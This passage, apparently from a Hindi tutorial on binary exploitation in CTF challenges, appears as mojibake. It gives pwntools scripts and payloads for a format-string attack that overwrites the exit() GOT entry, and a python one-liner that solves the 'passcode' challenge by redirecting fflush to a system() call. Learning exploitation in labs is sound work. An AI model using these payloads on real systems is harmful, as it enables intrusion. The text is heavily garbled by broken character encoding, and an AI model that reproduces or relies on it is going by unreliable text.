рдХрд░ рдЕрдзрд┐рд▓реЗрдЦрд┐рдд рдХрд░ рджреЗрдВрдЧреЗред рдкреНрд░рд╛рд░рдВрднрд┐рдХ рд▓реЗрдЖрдЙрдЯ рдмрдирд╛рдПрдВ рдФрд░ рдкрд┐рдЫрд▓реА рдкреНрд░рд╡рд┐рд╖реНрдЯрд┐ рдХреЛ рджреЛрд╣рд░рд╛рдПрдВред
from pwn import * from struct import * ex = process('./vuln') payload = "AAAA%p-%p-%p-%p-%p-%p-%p-%p" ex.sendline(payload) ex.interactive()

рд▓реЗрдХрд┐рди рдЪреВрдВрдХрд┐ рдкреНрд░рд╡реЗрд╢ рдХрд┐рдП рдЧрдП рд╕реНрдЯреНрд░рд┐рдВрдЧ рдХреЗ рдЖрдХрд╛рд░ рдХреЗ рдЖрдзрд╛рд░ рдкрд░, рд╕реНрдЯреИрдХ рдХреА рд╕рд╛рдордЧреНрд░реА рдЕрд▓рдЧ-рдЕрд▓рдЧ рд╣реЛрдЧреА, рд╣рдо рдпрд╣ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВрдЧреЗ рдХрд┐ рдЗрдирдкреБрдЯ рд▓реЛрдб рдореЗрдВ рд╣рдореЗрд╢рд╛ рдПрдХ рд╣реА рд╕рдВрдЦреНрдпрд╛ рдореЗрдВ рджрд░реНрдЬ рд╡рд░реНрдг рд╣реЛрддреЗ рд╣реИрдВред
payload = ("%p-%p-%p-%p"*5).ljust(64, тАЭ*тАЭ)

payload = ("%p-%p-%p-%p").ljust(64, тАЭ*тАЭ)

рдЕрдм рд╣рдореЗрдВ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ () рдлрд╝рдВрдХреНрд╢рди, рдФрд░ рдореБрдЦреНрдп рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдкрддреЗ рдХрд╛ рдЬреАрдУрдЯреА рдкрддрд╛ рд▓рдЧрд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред рдореБрдЦреНрдп рдкрддрд╛ gdb рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдорд┐рд▓реЗрдЧрд╛ред

GOTb рдФрд░ objdump рджреЛрдиреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ GOT рдкрддрд╛ рдХрд╛ рдирд┐рдХрд╛рд╕ () рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред


objdump -R vuln

рд╣рдо рдЗрди рдкрддреЛрдВ рдХреЛ рдЕрдкрдиреЗ рдХрд╛рд░реНрдпрдХреНрд░рдо рдореЗрдВ рд▓рд┐рдЦреЗрдВрдЧреЗред
main_addr = 0x401162 exit_addr = 0x404038
рдЕрдм рдЖрдкрдХреЛ рдкрддреЗ рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦрдирд╛ рд╣реЛрдЧрд╛ред рд╕реНрдЯреИрдХ рд╕реЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ рдХреЗ рдкрддреЗ () рдлрд╝рдВрдХреНрд╢рди рдФрд░ рдЙрд╕рдХреЗ рдмрд╛рдж рдХреЗ рдкрддреЗ рдХреЛ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП, рдЕрд░реНрдерд╛рддреНред * (рдирд┐рдХрд╛рд╕ ()) + 1, рдЖрджрд┐ред рдЖрдк рдЗрд╕реЗ рд╣рдорд╛рд░реЗ рд▓реЛрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЬреЛрдбрд╝ рд╕рдХрддреЗ рд╣реИрдВред
payload = ("%p-%p-%p-%p-"*5).ljust(64, "*") payload += pack("Q", exit_addr) payload += pack("Q", exit_addr+1)
рдЪрд▓рд╛рдПрдВ рдФрд░ рдирд┐рд░реНрдзрд╛рд░рд┐рдд рдХрд░реЗрдВ рдХрд┐ рдХреМрди рд╕рд╛ рдЦрд╛рддрд╛ рдкрддрд╛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░рддрд╛ рд╣реИред

рдЗрди рдкрддреЛрдВ рдХреЛ 14 рдФрд░ 15. рдкрджреЛрдВ рдкрд░ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЖрдк рдПрдХ рд╡рд┐рд╢рд┐рд╖реНрдЯ рд╕реНрдерд╛рди рдкрд░ рдореВрд▓реНрдп рдХреЛ рдирд┐рдореНрдирд╛рдиреБрд╕рд╛рд░ рдкреНрд░рджрд░реНрд╢рд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред
payload = ("%14$p").ljust(64, "*")

рд╣рдо рджреЛ рдмреНрд▓реЙрдХреЛрдВ рдореЗрдВ рдкрддреЗ рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦреЗрдВрдЧреЗред рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рд╣рдо 4 рдорд╛рдиреЛрдВ рдХреЛ рдкреНрд░рд┐рдВрдЯ рдХрд░реЗрдВрдЧреЗ рддрд╛рдХрд┐ рд╣рдорд╛рд░реЗ рдкрддреЗ 2 рд╡реЗрдВ рдФрд░ 4 рд╡реЗрдВ рд╕реНрдерд╛рди рдкрд░ рд╣реЛрдВред
payload = ("%p%14$p%p%15$p").ljust(64, "*")

рдЕрдм рд╣рдо рдореБрдЦреНрдп () рдХреЛ рджреЛ рдмреНрд▓реЙрдХреЛрдВ рдореЗрдВ рд╡рд┐рднрд╛рдЬрд┐рдд рдХрд░рддреЗ рд╣реИрдВ:
0x401162
1) 0x62 = 98 (0x404038 рдкрд░ рд▓рд┐рдЦреЗрдВ)
2) 0x4011 - 0x62 = 16303 (рдкрддрд╛ 0x404039 рдкрд░ рд▓рд┐рдЦреЗрдВ)
рд╣рдо рдЙрдиреНрд╣реЗрдВ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рд▓рд┐рдЦрддреЗ рд╣реИрдВ:
payload = ("%98p%14$n%16303p%15$n").ljust(64, '*')
рдкреВрд░реНрдг рдХреЛрдб:
from pwn import * from struct import * start_addr = 0x401162 exit_addr = 0x404038 ex = process('./vuln') payload = ("%98p%14$n%16303p%15$n").ljust(64, '*') payload += pack("Q", exit_addr) payload += pack("Q", exit_addr+1) ex.sendline(payload) ex.interactive()

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдХрд╛рд░реНрдпрдХреНрд░рдо рдХреЛ рд╕рдорд╛рдкреНрдд рдХрд░рдиреЗ рдХреЗ рдмрдЬрд╛рдп рдкреБрдирдГ рдЖрд░рдВрдн рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рд╣рдордиреЗ рдмрд╛рд╣рд░ рдирд┐рдХрд▓рдиреЗ () рдкрддреЗ рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦрд╛ рд╣реИред
рдкрд╛рд╕рдХреЛрдб рдиреМрдХрд░реА рд╕рдорд╛рдзрд╛рди
рд╣рдо рдкрд╛рд╕рдХреЛрдб рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХреЗ рд╕рд╛рде рдкрд╣рд▓реЗ рдЖрдЗрдХрди рдкрд░ рдХреНрд▓рд┐рдХ рдХрд░рддреЗ рд╣реИрдВ, рдФрд░ рд╣рдореЗрдВ рдмрддрд╛рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рд╣рдореЗрдВ рдкрд╛рд╕рд╡рд░реНрдб рдЕрддрд┐рдерд┐ рдХреЗ рд╕рд╛рде SSH рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрдиреЗрдХреНрдЯ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред

рдХрдиреЗрдХреНрдЯ рд╣реЛрдиреЗ рдкрд░, рд╣рдо рд╕рдВрдмрдВрдзрд┐рдд рдмреИрдирд░ рджреЗрдЦрддреЗ рд╣реИрдВред

рдЖрдЗрдП рдЬрд╛рдиреЗрдВ рдХрд┐ рд╕рд░реНрд╡рд░ рдкрд░ рдХреМрди рд╕реА рдлрд╛рдЗрд▓реЗрдВ рд╣реИрдВ, рд╕рд╛рде рд╣реА рд╣рдорд╛рд░реЗ рдкрд╛рд╕ рдХреНрдпрд╛ рдЕрдзрд┐рдХрд╛рд░ рд╣реИрдВред
ls -l

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рд╣рдо рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЗ рд╕реНрд░реЛрдд рдХреЛрдб рдХреЛ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ, рдХреНрдпреЛрдВрдХрд┐ рд╕рднреА рдХреЗ рд▓рд┐рдП рдкрдврд╝рдиреЗ рдХрд╛ рдЕрдзрд┐рдХрд╛рд░ рд╣реИ, рдФрд░ рдорд╛рд▓рд┐рдХ рдХреЗ рдЕрдзрд┐рдХрд╛рд░реЛрдВ рдХреЗ рд╕рд╛рде рдкрд╛рд╕рдХреЛрдб рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ (рдЪрд┐рдкрдЪрд┐рдкрд╛ рдмрд┐рдЯ рд╕реЗрдЯ рд╣реИ)ред рдХреЛрдб рдХрд╛ рдкрд░рд┐рдгрд╛рдо рджреЗрдЦрддреЗ рд╣реИрдВред

рд▓реЙрдЧрд┐рди () рдлрд╝рдВрдХреНрд╢рди рдореЗрдВ рдПрдХ рддреНрд░реБрдЯрд┐ рдереАред рд╕реНрдХреИрдирдл () рдореЗрдВ, рджреВрд╕рд░рд╛ рддрд░реНрдХ рдкрд╛рд░рд┐рдд рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдЪрд░ рдФрд░ рдкрд╛рд╕рдХреЛрдб 1 рдХрд╛ рдкрддрд╛, рд▓реЗрдХрд┐рди рдЪрд░ рд╣реА, рдФрд░ рдЖрд░рдВрднрд┐рдХ рдирд╣реАрдВред рдЪреВрдВрдХрд┐ рдЪрд░ рдХреЛ рдЕрднреА рддрдХ рдЖрд░рдВрдн рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЗрд╕рдореЗрдВ рдЕрд▓рд┐рдЦрд┐рдд "рдХрдЪрд░рд╛" рд╣реЛрддрд╛ рд╣реИ рдЬреЛ рдкрд┐рдЫрд▓реЗ рдирд┐рд░реНрджреЗрд╢реЛрдВ рдХреЗ рдирд┐рд╖реНрдкрд╛рджрди рдХреЗ рдмрд╛рдж рдмрдирд╛ рд░рд╣рддрд╛ рд╣реИред рдпрд╣реА рд╣реИ, рд╕реНрдХреИрдирдл () рдкрддреЗ рдкрд░ рдирдВрдмрд░ рд▓рд┐рдЦреЗрдВрдЧреЗ, рдЬреЛ рдЕрд╡рд╢рд┐рд╖реНрдЯ рдбреЗрдЯрд╛ рд╣реЛрдЧрд╛ред

рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдпрджрд┐ рд▓реЙрдЧрд┐рди рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ, рд╣рдо рдЗрд╕ рдореЗрдореЛрд░реА рдХреНрд╖реЗрддреНрд░ рдкрд░ рдирд┐рдпрдВрддреНрд░рдг рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВ, рддреЛ рд╣рдо рдХрд┐рд╕реА рднреА рдкрддреЗ рдкрд░ рдХреЛрдИ рднреА рдирдВрдмрд░ рд▓рд┐рдЦ рд╕рдХрддреЗ рд╣реИрдВ (рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ рдкреНрд░реЛрдЧреНрд░рд╛рдо рд▓реЙрдЬрд┐рдХ рдХреЛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВ)ред
рдЪреВрдВрдХрд┐ рд▓реЙрдЧрд┐рди () рдлрд╝рдВрдХреНрд╢рди рдХреЗ рддреБрд░рдВрдд рдмрд╛рдж рд▓реЙрдЧрд┐рди () рдлрд╝рдВрдХреНрд╢рди рдХреЛ рдХрд╣рд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЙрдирдХреЗ рдкрд╛рд╕ рд╕рдорд╛рди рд╕реНрдЯреИрдХ рдлреНрд░реЗрдо рдкрддреЗ рд╣реИрдВред

рдЖрдЗрдП рджреЗрдЦреЗрдВ рдХрд┐ рдХреНрдпрд╛ рд╣рдо рднрд╡рд┐рд╖реНрдп рдХреЗ рдкрд╛рд╕рдХреЛрдб 1 рд╕реНрдерд╛рди рдкрд░ рдбреЗрдЯрд╛ рд▓рд┐рдЦ тАЛтАЛрд╕рдХрддреЗ рд╣реИрдВред рдкреНрд░реЛрдЧреНрд░рд╛рдо рдХреЛ gdb рдореЗрдВ рдЦреЛрд▓реЗрдВ рдФрд░ рд▓реЙрдЧрд┐рди () рдФрд░ рд╡реЗрд▓рдХрдо () рдлрдВрдХреНрд╢рдиреНрд╕ рдХреЛ рдбрд┐рд╕рд╛рдЗрдб рдХрд░реЗрдВред рдЪреВрдВрдХрд┐ рджреЛрдиреЛрдВ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рд╕реНрдХреИрдирдл рдХреЗ рджреЛ рдкреИрд░рд╛рдореАрдЯрд░ рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдЪрд░ рдХрд╛ рдкрддрд╛ рдкрд╣рд▓реЗ рдлрд╝рдВрдХреНрд╢рди рдХреЛ рджрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдкрд╛рд╕рдХреЛрдб 1 рдХрд╛ рдкрддрд╛ ebp-0x10 рд╣реИ, рдФрд░ рдирд╛рдо ebp-0x70 рд╣реИред


рдЕрдм, рдирд╛рдо рдХреЗ рд╕рд╛рдкреЗрдХреНрд╖ рдкрддрд╛ рдкрд╛рд╕рдХреЛрдб 1 рдХреА рдЧрдгрдирд╛ рдХрд░реЗрдВ, рдмрд╢рд░реНрддреЗ рдХрд┐ рдИрдмреАрдкреА рдореВрд▓реНрдп рд╕рдорд╛рди рд╣реЛ:
((рдирд╛рдо)) - (рдФрд░ рдкрд╛рд╕рдХреЛрдб 1) = (ebp-0x70) - (ebp-0x10) = -96
& рдкрд╛рд╕рдХреЛрдб 1 == рдФрд░ рдирд╛рдо + 96
рдпрд╣реА рд╣реИ, рдирд╛рдо рдХреЗ рдЕрдВрддрд┐рдо 4 рдмрд╛рдЗрдЯреНрд╕ - рдпрд╣ "рдХрдЪрд░рд╛" рд╣реИ рдЬреЛ рд▓реЙрдЧрд┐рди рдлрд╝рдВрдХреНрд╢рди рдХреЛ рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдкрддреЗ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░реЗрдЧрд╛ред
рд▓реЗрдЦ рдореЗрдВ, рд╣рдордиреЗ рджреЗрдЦрд╛ рдХрд┐ рдХреИрд╕реЗ рдЖрдк рдЬреАрдУрдЯреА рдореЗрдВ рдкрддреЛрдВ рдХреЛ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦрдХрд░ рдЖрд╡реЗрджрди рдХреЗ рддрд░реНрдХ рдХреЛ рдмрджрд▓ рд╕рдХрддреЗ рд╣реИрдВред рдЪрд▓реЛ рдпрд╣рд╛рдБ рднреА рдХрд░рддреЗ рд╣реИрдВред рдЪреВрдВрдХрд┐ рд╕реНрдХреИрдирдл () рдлреНрд▓рд╢ рджреНрд╡рд╛рд░рд╛ рдкреАрдЫрд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдлрд┐рд░ рдЬреАрдУрдЯреА рдореЗрдВ рдЗрд╕ рдлрд╝рдВрдХреНрд╢рди рдХреЗ рдкрддреЗ рдкрд░, рд╣рдо рд╕рд┐рд╕реНрдЯрдо рдХреЛ рдХреЙрд▓ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рд░реНрджреЗрд╢ рдХрд╛ рдкрддрд╛ рд▓рд┐рдЦрддреЗ рд╣реИрдВ () рдзреНрд╡рдЬ рдХреЛ рдкрдврд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдлрд╝рдВрдХреНрд╢рдиред



рдпрд╣реА рд╣реИ, 0x804a004 рдХреЗ рдкрддреЗ рдкрд░ рдЖрдкрдХреЛ рджрд╢рдорд▓рд╡ рд░реВрдк рдореЗрдВ 0x80485e3 рд▓рд┐рдЦрдирд╛ рд╣реЛрдЧрд╛ред
python -c "print('A'*96 + '\x04\xa0\x04\x08' + str(0x080485e3))" | ./passcode

рдирддреАрдЬрддрди, рд╣рдореЗрдВ 10 рдЕрдВрдХ рдорд┐рд▓рддреЗ рд╣реИрдВ, рдЕрдм рддрдХ рдпрд╣ рд╕рдмрд╕реЗ рдХрдард┐рди рдХрд╛рдо рд╣реИред

рдЗрд╕ рд▓реЗрдЦ рдХреА рдлрд╛рдЗрд▓реЗрдВ
рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рдЪреИрдирд▓ рд╕реЗ рдЬреБрдбрд╝реА рд╣реИрдВред рдЖрдкрдХреЛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд▓реЗрдЦреЛрдВ рдореЗрдВ рдорд┐рд▓рддреЗ рд╣реИрдВ!
рд╣рдо рдПрдХ рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рдЪреИрдирд▓ рдореЗрдВ рд╣реИрдВ:
рдЯреЗрд▓реАрдЧреНрд░рд╛рдо рдореЗрдВ рдПрдХ
рдЪреИрдирд▓ ред